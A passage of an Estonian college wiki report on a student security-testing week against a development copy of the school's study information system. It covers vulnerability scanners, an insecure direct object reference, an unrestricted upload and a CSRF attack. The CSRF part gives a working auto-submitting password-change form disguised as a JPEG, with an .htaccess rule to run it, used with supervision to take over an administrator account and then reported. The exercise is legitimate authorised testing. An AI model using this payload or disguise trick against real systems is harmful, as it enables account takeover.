Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47068</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47068"/>
		<updated>2012-03-30T20:54:50Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Alo tegevus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
